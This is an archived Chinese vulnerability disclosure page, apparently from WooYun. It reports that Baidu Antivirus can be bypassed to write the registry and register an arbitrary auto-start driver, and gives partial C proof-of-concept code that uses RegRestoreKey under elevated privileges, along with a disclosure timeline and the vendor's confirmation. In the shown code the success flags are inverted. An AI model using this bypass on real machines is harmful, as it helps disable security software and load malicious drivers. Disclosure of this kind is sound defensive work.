当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-036069

漏洞标题:再再绕百度杀毒任意加载驱动(POC)

相关厂商:百度

漏洞作者: n0bele

提交时间:2013-09-04 11:21

修复时间:2013-12-03 11:21

公开时间:2013-12-03 11:21

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-04: 细节已通知厂商并且等待厂商处理中
2013-09-04: 厂商已经确认,细节仅向厂商公开
2013-09-07: 细节向第三方安全合作伙伴开放
2013-10-29: 细节向核心白帽子及相关领域专家公开
2013-11-08: 细节向普通白帽子公开
2013-11-18: 细节向实习白帽子公开
2013-12-03: 细节向公众公开

简要描述:

既然百度rank给得豪爽,那就再来一发,别的厂商继续自我感觉良好去吧!

详细说明:

其实这次还是规则的问题,只是呢,和第一次绕的不同之处在于,这个规则不在baiduSd.exe触发了,很可能是“半白名单”的系统进程里.
其实标题应该改为任意写注册表,这里我写了自启动驱动的注册表
前提是得先挂全局钩子
不废话见POC

BOOL EnableDebugPriv(LPCTSTR lpName)
{
BOOL bRet = FALSE;
HANDLE hToken = NULL;
TOKEN_PRIVILEGES tp;
LUID luid;
do
{
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
break;
if(!LookupPrivilegeValue(NULL,lpName,&luid))
break;
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
bRet = AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);
}
while(FALSE);

if(hToken != NULL)
CloseHandle(hToken);
return bRet;
}
BOOL DumpReg(HKEY hKey,LPCSTR lpSubKey,TCHAR szFilePath[MAX_PATH])
{
BOOL bRet = FALSE;
HKEY hCur = NULL;
do
{
if(!EnableDebugPriv(SE_BACKUP_NAME))
break;
if(RegOpenKeyEx(hKey,lpSubKey,NULL,KEY_ALL_ACCESS,&hCur) != ERROR_SUCCESS)
break;
if(RegSaveKey(hCur,szFilePath,NULL) != ERROR_SUCCESS)
bRet = TRUE;
}
while(FALSE);
if(hCur)
RegCloseKey(hCur);
return bRet;
}
BOOL RestoreReg(HKEY hKey,LPCSTR lpSubKey,TCHAR szFilePath[MAX_PATH])
{
BOOL bRet = FALSE;
HKEY hCur = NULL;
do
{
if(!EnableDebugPriv(SE_RESTORE_NAME))
break;
if(RegOpenKeyEx(hKey,lpSubKey,NULL,KEY_ALL_ACCESS,&hCur) != ERROR_SUCCESS &&
RegCreateKey(hKey,lpSubKey,&hCur) != ERROR_SUCCESS)
break;
if(RegRestoreKey(hCur,szFilePath,REG_FORCE_RESTORE) != ERROR_SUCCESS)
bRet = TRUE;
}
while(FALSE);
if(hCur)
RegCloseKey(hCur);
return bRet;
}
int main(int argc, char* argv[])
{
//先本地构造生成一个poc hiv文件
// DumpReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\poc","C:\\poc.hiv");
//远程饶过写注册表加载驱动
RestoreReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\poc","C:\\poc.hiv");
return 0;
}

漏洞证明:

poc代码里只是核心help.dll的代码,需要完整POC可再联系

修复方案:

牺牲点用户体验吧

版权声明:转载请注明来源 n0bele@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2013-09-04 17:02

厂商回复:

感谢对百度安全的关注,此与之前提交的漏洞绕过点相同,但思路不错。

最新状态:

暂无